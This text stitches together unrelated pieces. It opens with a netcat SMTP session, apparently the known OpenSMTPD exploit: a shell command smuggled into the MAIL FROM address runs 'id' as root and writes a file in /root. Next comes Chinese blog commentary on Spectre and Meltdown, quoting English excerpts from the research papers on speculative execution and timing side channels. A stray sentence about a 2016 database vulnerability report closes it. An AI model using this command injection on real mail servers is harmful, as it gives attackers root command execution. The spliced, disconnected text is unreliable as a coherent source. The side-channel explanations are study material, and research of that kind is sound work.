$ nc 192.168.56.143 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [192.168.56.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<root@example.org>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
for i in W O P R; do
echo -n "($i) " && id || break
done >> /root/x."`id -u`"."$$"
.
250 2.0.0 4cdd24df Message accepted for delivery
QUIT
221 2.0.0 Bye
Spectre 的精華在於 CPU 支援 branch prediction 與 out-of-order execution，也就是 CPU 遇到 branch 時會學習怎麼跑，這個資訊提供給 out-of-order execution 就可以大幅提昇執行速度。可以參考以前在「CPU Branch Prediction 的成本...」提到的效率問題。
原理的部份可以看這段程式碼：
這類型程式碼常常出現在現代程式的各種安全檢查上：確認 x 沒問題後再實際將資料拉出來處理。而我們可以透過不斷的丟 x 值進去，讓 CPU 學到以為都是 TRUE，而在 CPU 學壞之後，突然丟進超出範圍的 x，產生 branch misprediction，但卻已經因為 out-of-order execution 而讓 CPU 執行過 y = ... 這段指令，進而導致 cache 的內容改變。
Suppose register R1 contains a secret value. If the speculatively executed memory read of array1[R1] is a cache hit, then nothing will go on the memory bus and the read from [R2] will initiate quickly. If the read of array1[R1] is a cache miss, then the second read may take longer, resulting in different timing for the victim thread.
所以相同道理，利用乘法器被佔用的 timing attack 也可以產生攻擊：
if (false but mispredicts as true)
multiply R1, R2
multiply R3, R4
In addition, of the three user-mode serializing instructions listed by Intel, only cpuid can be used in normal code, and it destroys many registers. The mfence and lfence (but not sfence) instructions also appear to work, with the added benefit that they do not destroy register contents. Their behavior with respect to speculative execution is not defined, however, so they may not work in all CPUs or system configurations.
However, we may manipulate its generation to control speculative execution while modifying the visible, on-stack value to direct how the branch is actually retired.
原因是 Linux 與 OS X 上有 direct-physical map 的機制，會把整塊 physical memory 對應到 virtual memory 的固定位置上，這些位置不會再發給 user space 使用，所以是通的：
On Linux and OS X, this is done via a direct-physical map, i.e., the entire physical memory is directly mapped to a pre-defined virtual address (cf. Figure 2).
而在 Windows 上則是比較複雜，但大部分的 physical memory 都有對應到 kernel address space，而每個 process 裡面也都還是有完整的 kernel address space (只是受到權限控制)，所以 Meltdown 的攻擊仍然有效：
Instead of a direct-physical map, Windows maintains a multiple so-called paged pools, non-paged pools, and the system cache. These pools are virtual memory regions in the kernel address space mapping physical pages to virtual addresses which are either required to remain in the memory (non-paged pool) or can be removed from the memory because a copy is already stored on the disk (paged pool). The system cache further contains mappings of all file-backed pages. Combined, these memory pools will typically map a large fraction of the physical memory into the kernel address space of every process.
The vulnerability was reported to Oracle on 29th of July 2016 and triaged by the security team. It was also reported to the other affected vendors including PerconaDB and MariaDB.
